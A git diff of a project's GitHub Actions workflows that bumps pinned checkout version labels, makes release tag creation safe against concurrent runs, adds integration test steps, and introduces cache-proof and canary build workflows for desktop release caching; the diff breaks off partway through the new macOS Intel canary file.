diff --git a/.github/workflows/auto-tag-on-release-pr-merge.yml b/.github/workflows/auto-tag-on-release-pr-merge.yml
index a69eafb404..3db5c6baaa 100644
--- a/.github/workflows/auto-tag-on-release-pr-merge.yml
+++ b/.github/workflows/auto-tag-on-release-pr-merge.yml
@@ -45,7 +45,7 @@ jobs:
       github.event.pull_request.head.repo.full_name == github.repository
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
         with:
           ref: ${{ github.event.pull_request.merge_commit_sha }}
           fetch-depth: 0
@@ -111,8 +111,8 @@ jobs:
           PR_HEAD_REF: ${{ github.event.pull_request.head.ref }}
           PR_BASE_REF: ${{ github.event.pull_request.base.ref }}
           PR_HEAD_REPO: ${{ github.event.pull_request.head.repo.full_name }}
-          PR_PUSHER: ${{ github.event.pull_request.head.user.login }}
           MERGE_SHA: ${{ github.event.pull_request.merge_commit_sha }}
+          MERGED_AT: ${{ github.event.pull_request.merged_at }}
         run: |
           VERSION="${VERSION#desktop-v}"
           export VERSION
@@ -147,7 +147,17 @@ jobs:
               exit 1
             fi
           fi
-          gh api --method POST "repos/$GITHUB_REPOSITORY/git/refs" \
+          if ! gh api --method POST "repos/$GITHUB_REPOSITORY/git/refs" \
             -f ref="refs/tags/$TAG" \
             -f sha="$TARGET_SHA" \
-            --silent
+            --silent; then
+            # Ref creation is atomic. A concurrent retry may have won the race;
+            # accept that only when it created the exact immutable ref.
+            EXISTING_SHA="$(gh api "repos/$GITHUB_REPOSITORY/commits/$TAG" --jq .sha)"
+            if [ "$EXISTING_SHA" = "$TARGET_SHA" ]; then
+              echo "Tag $TAG was concurrently created at $TARGET_SHA"
+              exit 0
+            fi
+            echo "::error::Tag creation failed and $TAG resolves to $EXISTING_SHA (expected $TARGET_SHA)"
+            exit 1
+          fi
diff --git a/.github/workflows/benchmark-harbor.yml b/.github/workflows/benchmark-harbor.yml
index 31efe933c5..6024f00575 100644
--- a/.github/workflows/benchmark-harbor.yml
+++ b/.github/workflows/benchmark-harbor.yml
@@ -20,7 +20,7 @@ jobs:
     runs-on: ubuntu-latest
     timeout-minutes: 15
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
       - uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5
         with:
           python-version: "3.12"
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index bc594e16ad..e65157705a 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -28,7 +28,7 @@ jobs:
       web: ${{ steps.filter.outputs.web }}
       mobile: ${{ steps.filter.outputs.mobile }}
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
         with:
           fetch-depth: 2
       - uses: dorny/paths-filter@7b450fff21473bca461d4b92ce414b9d0420d706 # v4.0.2
@@ -96,7 +96,7 @@ jobs:
     permissions:
       contents: read
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
       - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1
       - uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2
         with:
@@ -117,7 +117,7 @@ jobs:
     permissions:
       contents: read
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
       - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1
       - uses: rui314/setup-mold@9c9c13bf4c3f1adef0cc596abc155580bcb04444 # v1
       - uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2
@@ -139,7 +139,7 @@ jobs:
     permissions:
       contents: read
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
         with:
           fetch-depth: 2
       - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1
@@ -235,7 +235,7 @@ jobs:
     permissions:
       contents: read
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
       - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1
       - name: Get pnpm store directory
         id: pnpm-cache
@@ -318,7 +318,7 @@ jobs:
     permissions:
       contents: read
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
       - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1
       # Reuse the relay binaries and backend test archive when none of their
       # inputs changed (desktop-only PRs hit this every time). The key covers
@@ -391,7 +391,7 @@ jobs:
     permissions:
       contents: read
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
       - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1
       - name: Start integration services
         run: |
@@ -580,7 +580,7 @@ jobs:
     permissions:
       contents: read
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
       - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1
       - name: Install cargo-nextest
         uses: taiki-e/install-action@0fd46367812ee04360509b4169d9f659d6892bb2 # v2.79.15
@@ -692,6 +692,18 @@ jobs:
             --run-ignored ignored-only
         env:
           DATABASE_URL: postgres://buzz:${{ env.BUZZ_TEST_POSTGRES_PASSWORD }}@localhost:5432/buzz
+      - name: Workspace profile (kind:9033) gate tests
+        # Call-site integration for the 9033 authorization gate: open relay
+        # rosterless/steward transitions and the closed-relay admin/owner rule,
+        # against real Postgres. #[ignore]d in the default suite, selected
+        # explicitly here — see handlers::relay_admin::tests.
+        run: |
+          cargo nextest run \
+            --archive-file target/ci/backend-integration-tests.tar.zst \
+            -E 'package(buzz-relay) and test(/handlers::relay_admin::tests/)' \
+            --run-ignored ignored-only
+        env:
+          DATABASE_URL: postgres://buzz:${{ env.BUZZ_TEST_POSTGRES_PASSWORD }}@localhost:5432/buzz
       - name: NIP-ER reminder e2e
         # Feature e2e for NIP-ER (Event Reminders, kind:30300): write-path
         # validation, author-only read filtering, and scheduler delivery against
@@ -704,6 +716,17 @@ jobs:
             --run-ignored ignored-only
         env:
           RELAY_URL: ws://localhost:3000
+      - name: NIP-MP coordinate deletion guard
+        # Verifies the never-delete-newer invariant of soft_delete_by_coordinate:
+        # a stale tombstone (created_at earlier than the live head) spares that
+        # head, and an equal-timestamp tombstone deletes it.
+        run: |
+          cargo nextest run \
+            --archive-file target/ci/backend-integration-tests.tar.zst \
+            -E 'package(buzz-db) and test(coordinate_delete_spares_head_newer_than_the_deletion)' \
+            --run-ignored ignored-only
+        env:
+          DATABASE_URL: postgres://buzz:${{ env.BUZZ_TEST_POSTGRES_PASSWORD }}@localhost:5432/buzz
       - name: Upload relay log
         if: failure()
         uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7
@@ -721,7 +744,7 @@ jobs:
     permissions:
       contents: read
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
       - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1
       - uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2
         with:
@@ -739,7 +762,7 @@ jobs:
           ./scripts/start-relay-for-tests.sh --no-build
       - name: Relay E2E tests
         run: |
-          cargo test -p buzz-test-client --test e2e_persona --test e2e_team_catalog --test e2e_nostr_interop -- --ignored --nocapture
+          cargo test -p buzz-test-client --test e2e_persona --test e2e_team_catalog --test e2e_nostr_interop --test e2e_project -- --ignored --nocapture
           cargo test -p buzz-test-client --test e2e_relay invite -- --ignored --nocapture
           cargo test -p buzz-test-client --test e2e_relay nip43_membership_snapshots_are_rejected -- --ignored --nocapture
         env:
@@ -762,7 +785,7 @@ jobs:
     permissions:
       contents: read
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
         with:
           fetch-depth: 2
       - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1
@@ -797,7 +820,7 @@ jobs:
     permissions:
       contents: read
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
         with:
           fetch-depth: 2
       - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1
@@ -858,7 +881,7 @@ jobs:
     permissions:
       contents: read
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
       - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1
       - name: Dependency policy
         run: cargo-deny check
@@ -870,7 +893,7 @@ jobs:
     permissions:
       contents: read
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
       - name: Check for dead API token references in client code
         run: |
           # Fail if dead API token patterns reappear in desktop, mobile, docs, or config.
@@ -899,7 +922,7 @@ jobs:
           - x86_64-unknown-linux-musl
           - aarch64-unknown-linux-musl
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
       - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1
       - uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2
         with:
@@ -936,7 +959,7 @@ jobs:
     env:
       TARGET: x86_64-pc-windows-msvc
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
       # MSVC needs windows.h (aws-lc-sys et al.), so this runs on a real Windows
       # runner — hermit, used by the Linux jobs, does not provide MSVC. The
       # toolchain (1.95.0 + clippy via profile = default) comes from the
@@ -1000,7 +1023,7 @@ jobs:
           git log -1 --format=%s | grep -qx smoke
           echo "Host bash resolved and functional; git commit round-trip passed"
       - name: Check (Tauri crate)
-        run: cargo check --manifest-path desktop/src-tauri/Cargo.toml --target $env:TARGET
+        run: cargo check --manifest-path desktop/src-tauri/Cargo.toml --workspace --all-targets --target $env:TARGET
         env:
           CMAKE_POLICY_VERSION_MINIMUM: "3.5"
       - name: Test (Tauri crate)
@@ -1017,7 +1040,7 @@ jobs:
     permissions:
       contents: read
     steps:
-      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
       - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1
       - uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2
         with:
@@ -1031,6 +1054,7 @@ jobs:
           mkdir -p desktop/src-tauri/binaries
           touch "desktop/src-tauri/binaries/buzz-acp-$TARGET"
           touch "desktop/src-tauri/binaries/buzz-agent-$TARGET"
+          touch "desktop/src-tauri/binaries/buzz-backend-kubernetes-$TARGET"
           touch "desktop/src-tauri/binaries/buzz-dev-mcp-$TARGET"
           touch "desktop/src-tauri/binaries/git-credential-nostr-$TARGET"
           touch "desktop/src-tauri/binaries/buzz-$TARGET"
diff --git a/.github/workflows/desktop-release-cache-proof.yml b/.github/workflows/desktop-release-cache-proof.yml
new file mode 100644
index 0000000000..cf9c8e7827
--- /dev/null
+++ b/.github/workflows/desktop-release-cache-proof.yml
@@ -0,0 +1,164 @@
+name: Desktop release cache tag-scope proof
+
+# Dispatch from a cache-proof-* tag at the same trusted-main SHA warmed by all
+# four canaries. Every job restores only and requires an exact cache hit.
+on:
+  workflow_dispatch:
+
+permissions:
+  contents: read
+
+jobs:
+  macos:
+    name: Prove macOS ${{ matrix.target }} cache visibility
+    if: github.repository == 'block/buzz'
+    runs-on: macos-latest
+    timeout-minutes: 15
+    strategy:
+      fail-fast: false
+      matrix:
+        include:
+          - target: aarch64-apple-darwin
+            features: mesh-llm
+          - target: x86_64-apple-darwin
+            features: default
+    steps:
+      - name: Require cache proof tag
+        run: '[[ "$GITHUB_REF" == refs/tags/cache-proof-* ]] || { echo "::error::Expected cache-proof-* tag; got $GITHUB_REF"; exit 1; }'
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
+        with:
+          persist-credentials: false
+      - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1
+      - name: Patch proof dependency graph
+        run: |
+          cd desktop && node scripts/set-version-from-tag.mjs "0.0.0-cache-proof"
+          cd src-tauri && cargo update --workspace
+      - name: Resolve native toolchain identity
+        id: native_toolchain
+        run: echo "id=$(scripts/desktop-native-toolchain-id.sh macos)" >> "$GITHUB_OUTPUT"
+      - name: Compute exact release cache key
+        id: rust_cache_key
+        env:
+          CACHE_TARGET: ${{ matrix.target }}
+          CACHE_FEATURES: ${{ matrix.features }}
+          NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }}
+        run: |
+          KEY=$(scripts/desktop-release-cache-key.py --platform "$RUNNER_OS" --target "$CACHE_TARGET" --features "$CACHE_FEATURES" --native-inputs "$NATIVE_TOOLCHAIN_ID")
+          echo "key=$KEY" >> "$GITHUB_OUTPUT"
+      - name: Restore exact default-branch cache from tag
+        id: rust_cache
+        uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5
+        with:
+          path: |
+            ~/.cargo/registry
+            ~/.cargo/git
+            target
+            desktop/src-tauri/target
+            !desktop/src-tauri/target/**/release/bundle
+          key: ${{ steps.rust_cache_key.outputs.key }}
+      - name: Require exact cache hit
+        env:
+          CACHE_HIT: ${{ steps.rust_cache.outputs.cache-hit }}
+          CACHE_KEY: ${{ steps.rust_cache.outputs.cache-primary-key }}
+          EXPECTED_KEY: ${{ steps.rust_cache_key.outputs.key }}
+        run: '[[ "$CACHE_HIT" == true && "$CACHE_KEY" == "$EXPECTED_KEY" ]] || { echo "::error::Exact tag cache miss (hit=$CACHE_HIT restored=$CACHE_KEY expected=$EXPECTED_KEY)"; exit 1; }'
+
+  linux:
+    name: Prove Linux cache visibility
+    if: github.repository == 'block/buzz'
+    runs-on: ubuntu-latest
+    container: ubuntu:24.04@sha256:4fbb8e6a8395de5a7550b33509421a2bafbc0aab6c06ba2cef9ebffbc7092d90
+    timeout-minutes: 15
+    defaults:
+      run:
+        shell: bash
+    steps:
+      - name: Require cache proof tag and install release native tools
+        run: |
+          [[ "$GITHUB_REF" == refs/tags/cache-proof-* ]] || { echo "::error::Expected cache-proof-* tag; got $GITHUB_REF"; exit 1; }
+          apt-get update
+          apt-get install -y --no-install-recommends build-essential ca-certificates curl git libasound2-dev libayatana-appindicator3-dev libgtk-3-dev librsvg2-dev libssl-dev libwebkit2gtk-4.1-dev libxdo-dev patchelf pkg-config
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
+        with:
+          persist-credentials: false
+      - run: git config --global --add safe.directory "$GITHUB_WORKSPACE"
+      - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1
+      - name: Patch proof dependency graph
+        run: |
+          cd desktop && node scripts/set-version-from-tag.mjs "0.0.0-cache-proof"
+          cd src-tauri && cargo update --workspace
+      - name: Resolve native toolchain identity
+        id: native_toolchain
+        run: echo "id=$(scripts/desktop-native-toolchain-id.sh linux)" >> "$GITHUB_OUTPUT"
+      - name: Compute exact release cache key
+        id: rust_cache_key
+        env:
+          NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }}
+        run: |
+          KEY=$(scripts/desktop-release-cache-key.py --platform "$RUNNER_OS" --target x86_64-unknown-linux-gnu --features mesh-llm --native-inputs "$NATIVE_TOOLCHAIN_ID")
+          echo "key=$KEY" >> "$GITHUB_OUTPUT"
+      - name: Restore exact default-branch cache from tag
+        id: rust_cache
+        uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5
+        with:
+          path: |
+            ~/.cargo/registry
+            ~/.cargo/git
+            target
+            desktop/src-tauri/target
+            !desktop/src-tauri/target/**/release/bundle
+          key: ${{ steps.rust_cache_key.outputs.key }}
+      - name: Require exact cache hit
+        env:
+          CACHE_HIT: ${{ steps.rust_cache.outputs.cache-hit }}
+          CACHE_KEY: ${{ steps.rust_cache.outputs.cache-primary-key }}
+          EXPECTED_KEY: ${{ steps.rust_cache_key.outputs.key }}
+        run: '[[ "$CACHE_HIT" == true && "$CACHE_KEY" == "$EXPECTED_KEY" ]] || { echo "::error::Exact tag cache miss (hit=$CACHE_HIT restored=$CACHE_KEY expected=$EXPECTED_KEY)"; exit 1; }'
+
+  windows:
+    name: Prove Windows cache visibility
+    if: github.repository == 'block/buzz'
+    runs-on: windows-latest
+    timeout-minutes: 15
+    steps:
+      - name: Require cache proof tag
+        shell: bash
+        run: '[[ "$GITHUB_REF" == refs/tags/cache-proof-* ]] || { echo "::error::Expected cache-proof-* tag; got $GITHUB_REF"; exit 1; }'
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
+        with:
+          persist-credentials: false
+      - name: Patch proof dependency graph
+        shell: bash
+        run: |
+          cd desktop && node scripts/set-version-from-tag.mjs "0.0.0-cache-proof"
+          cd src-tauri && cargo update --workspace
+      - name: Resolve native toolchain identity
+        id: native_toolchain
+        shell: bash
+        run: echo "id=$(scripts/desktop-native-toolchain-id.sh windows)" >> "$GITHUB_OUTPUT"
+      - name: Compute exact release cache key
+        id: rust_cache_key
+        shell: bash
+        env:
+          NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }}
+        run: |
+          KEY=$(scripts/desktop-release-cache-key.py --platform "$RUNNER_OS" --target x86_64-pc-windows-msvc --features default --native-inputs "$NATIVE_TOOLCHAIN_ID")
+          echo "key=$KEY" >> "$GITHUB_OUTPUT"
+      - name: Restore exact default-branch cache from tag
+        id: rust_cache
+        uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5
+        with:
+          path: |
+            ~/.cargo/registry
+            ~/.cargo/git
+            target
+            desktop/src-tauri/target
+            !desktop/src-tauri/target/**/release/bundle
+          key: ${{ steps.rust_cache_key.outputs.key }}
+      - name: Require exact cache hit
+        shell: bash
+        env:
+          CACHE_HIT: ${{ steps.rust_cache.outputs.cache-hit }}
+          CACHE_KEY: ${{ steps.rust_cache.outputs.cache-primary-key }}
+          EXPECTED_KEY: ${{ steps.rust_cache_key.outputs.key }}
+        run: '[[ "$CACHE_HIT" == true && "$CACHE_KEY" == "$EXPECTED_KEY" ]] || { echo "::error::Exact tag cache miss (hit=$CACHE_HIT restored=$CACHE_KEY expected=$EXPECTED_KEY)"; exit 1; }'
diff --git a/.github/workflows/desktop-release-candidate.yml b/.github/workflows/desktop-release-candidate.yml
new file mode 100644
index 0000000000..61ccc800af
--- /dev/null
+++ b/.github/workflows/desktop-release-candidate.yml
@@ -0,0 +1,28 @@
+name: Desktop Release Candidate
+
+on:
+  pull_request:
+    branches: [main]
+
+permissions:
+  contents: read
+  pull-requests: read
+
+jobs:
+  validate:
+    name: Desktop Release Candidate
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
+        with:
+          ref: ${{ github.event.pull_request.head.sha }}
+          fetch-depth: 0
+          persist-credentials: false
+      - name: Validate immutable desktop candidate
+        if: startsWith(github.event.pull_request.head.ref, 'version-bump/')
+        env:
+          GH_TOKEN: ${{ github.token }}
+          VERSION: ${{ github.event.pull_request.head.ref }}
+        run: |
+          VERSION="${VERSION#version-bump/}"
+          scripts/desktop_release.py validate --candidate HEAD --version "$VERSION" --repo "$GITHUB_REPOSITORY"
diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml
index 655c533b75..dbdc661905 100644
--- a/.github/workflows/docker.yml
+++ b/.github/workflows/docker.yml
@@ -102,7 +102,7 @@ jobs:
 
     steps:
       - name: Checkout
-        uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10  # v6
+        uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10  # v6.0.3
         with:
           fetch-depth: 0
           persist-credentials: false
@@ -360,7 +360,7 @@ jobs:
             arch: arm64
     steps:
       - name: Checkout
-        uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10  # v6
+        uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10  # v6.0.3
         with:
           fetch-depth: 0
           persist-credentials: false
diff --git a/.github/workflows/helm-chart.yml b/.github/workflows/helm-chart.yml
index e3d443d9f3..7118d16708 100644
--- a/.github/workflows/helm-chart.yml
+++ b/.github/workflows/helm-chart.yml
@@ -59,7 +59,7 @@ jobs:
     permissions:
       contents: read
     steps:
-      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
+      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
         with:
           # On chart-tag rescue dispatch, lint/render the tagged commit that the
           # publish job will package, not whatever `main` is when the dispatch
@@ -119,7 +119,7 @@ jobs:
     permissions:
       contents: read
     steps:
-      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
+      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
         with:
           fetch-depth: 0
 
@@ -166,7 +166,7 @@ jobs:
       packages: write    # push the chart to GHCR
     steps:
       - name: Checkout
-        uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
+        uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
         with:
           # On the rescue dispatch, build the tagged commit (github.ref is
           # `main` there); on a tag push, the default ref is already the tag.
diff --git a/.github/workflows/linux-canary.yml b/.github/workflows/linux-canary.yml
index 9806443378..d8b10032b2 100644
--- a/.github/workflows/linux-canary.yml
+++ b/.github/workflows/linux-canary.yml
@@ -7,8 +7,8 @@ name: Linux Canary
 # Design notes vs. signed-macos-canary.yml:
 #   - fix-appimage.sh is run without signing env vars; the script detects
 #     their absence and skips re-signing, repacking only (documented inline).
-#   - mold linker added (rui314/setup-mold) to reduce link time, matching
-#     the Linux Rust CI jobs in ci.yml.
+#   - Build tools match release.yml; cache keys derive the concrete linker and
+#     native library identity rather than assuming the moving runner image.
 #   - pnpm store restore/save pattern mirrors ci.yml:149-196.
 on:
   workflow_dispatch:
@@ -83,18 +83,6 @@ jobs:
 
       - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1
 
-      - uses: rui314/setup-mold@9c9c13bf4c3f1adef0cc596abc155580bcb04444 # v1
-
-      # Rust cache covering both the workspace sidecar build and the Tauri
-      # crate build. shared-key scoped to linux-canary-release so canary runs
-      # warm each other without colliding with CI's debug-profile keys.
-      - uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2
-        with:
-          workspaces: |
-            .
-            desktop/src-tauri
-          shared-key: linux-canary-release
-
       - name: Install appimagetool
         run: |
           case "$(uname -m)" in
@@ -154,6 +142,38 @@ jobs:
           cd desktop && node scripts/set-version-from-tag.mjs "$VERSION"
           cd src-tauri && cargo update --workspace
 
+      - name: Resolve native toolchain identity
+        id: native_toolchain
+        run: echo "id=$(scripts/desktop-native-toolchain-id.sh linux)" >> "$GITHUB_OUTPUT"
+
+      # Compute this after cargo update so the key describes the graph that is
+      # actually compiled. The helper normalizes only Buzz Desktop's release
+      # version, allowing a canary to warm an otherwise identical tag build.
+      - name: Compute exact release cache key
+        id: rust_cache_key
+        env:
+          NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }}
+        run: |
+          KEY=$(scripts/desktop-release-cache-key.py \
+            --platform "$RUNNER_OS" \
+            --target x86_64-unknown-linux-gnu \
+            --features mesh-llm \
+            --native-inputs "$NATIVE_TOOLCHAIN_ID")
+          echo "key=$KEY" >> "$GITHUB_OUTPUT"
+          echo "Release cache key: $KEY"
+
+      - name: Restore exact release Cargo cache
+        id: rust_cache
+        uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5
+        with:
+          path: |
+            ~/.cargo/registry
+            ~/.cargo/git
+            target
+            desktop/src-tauri/target
+            !desktop/src-tauri/target/**/release/bundle
+          key: ${{ steps.rust_cache_key.outputs.key }}
+
       - name: Generate non-updating bundle config
         run: |
           cat > desktop/src-tauri/tauri.canary.conf.json <<'JSON'
@@ -166,11 +186,11 @@ jobs:
 
       - name: Build sidecars
         run: |
-          cargo build --release -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli
+          cargo build --release -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli
           ./scripts/bundle-sidecars.sh
 
       - name: Build Linux Tauri app
-        run: cd desktop && pnpm tauri build --ci --bundles deb,appimage --config src-tauri/tauri.canary.conf.json
+        run: cd desktop && pnpm tauri build --ci --bundles deb,appimage --features mesh-llm --config src-tauri/tauri.canary.conf.json
         env:
           CMAKE_POLICY_VERSION_MINIMUM: "3.5"
 
@@ -190,6 +210,24 @@ jobs:
           fi
           bash desktop/scripts/fix-appimage.sh "${APPIMAGES[0]}"
 
+      - name: Measure release Cargo cache inputs
+        if: always()
+        run: du -sh ~/.cargo/registry ~/.cargo/git target desktop/src-tauri/target 2>/dev/null || true
+
+      # Only this trusted, main-bound canary writes the cache. Excluding bundle
+      # output prevents installers from entering it.
+      - name: Save exact release Cargo cache
+        if: steps.rust_cache.outputs.cache-hit != 'true'
+        uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5
+        with:
+          path: |
+            ~/.cargo/registry
+            ~/.cargo/git
+            target
+            desktop/src-tauri/target
+            !desktop/src-tauri/target/**/release/bundle
+          key: ${{ steps.rust_cache_key.outputs.key }}
+
       - name: Save pnpm store cache
         uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5
         with:
diff --git a/.github/workflows/macos-intel-canary.yml b/.github/workflows/macos-intel-canary.yml
new file mode 100644
index 0000000000..35b05313c9
--- /dev/null
+++ b/.github/workflows/macos-intel-canary.yml
@@ -0,0 +1,126 @@
+name: macOS Intel Canary
+
+# Produces an unsigned Intel DMG from trusted main. Its release-equivalent
+# Cargo state warms the distinct x86_64 release target without signing or
+# publishing anything.
+on:
+  workflow_dispatch:
+
+permissions:
+  contents: read
+
+jobs:
+  build:
+    name: Build macOS Intel canary
+    if: github.repository == 'block/buzz'
+    runs-on: macos-latest
+    timeout-minutes: 60
+    env:
+      TARGET: x86_64-apple-darwin
+    steps:
+      - name: Require main
+        env:
+          SOURCE_REF: ${{ github.ref }}
+        run: |
+          if [[ "$SOURCE_REF" != "refs/heads/main" ]]; then
+            echo "::error::Canary builds must run from main; got $SOURCE_REF"
+            exit 1
+          fi
+
+      - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
+        with:
+          persist-credentials: false
+
+      - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1
+
+      - name: Add Rust target
+        run: rustup target add "$TARGET"
+
+      - name: Install desktop dependencies
+        run: just desktop-install-ci
+
+      - name: Derive and patch canary version
+        run: |
+          BASE_VERSION=$(node -p "require('./desktop/package.json').version")
+          VERSION="${BASE_VERSION%%-*}-intel-test.${GITHUB_RUN_NUMBER}"
+          cd desktop && node scripts/set-version-from-tag.mjs "$VERSION"
+          cd src-tauri && cargo update --workspace
+
+      - name: Resolve native toolchain identity
+        id: native_toolchain
+        run: echo "id=$(scripts/desktop-native-toolchain-id.sh macos)" >> "$GITHUB_OUTPUT"
+
+      - name: Compute exact release cache key
+        id: rust_cache_key
+        env:
+          NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }}
+        run: |
+          KEY=$(scripts/desktop-release-cache-key.py \
+            --platform "$RUNNER_OS" \
+            --target "$TARGET" \
+            --features default \
+            --native-inputs "$NATIVE_TOOLCHAIN_ID")
+          echo "key=$KEY" >> "$GITHUB_OUTPUT"
+          echo "Release cache key: $KEY"
+
+      - name: Restore exact release Cargo cache
+        id: rust_cache
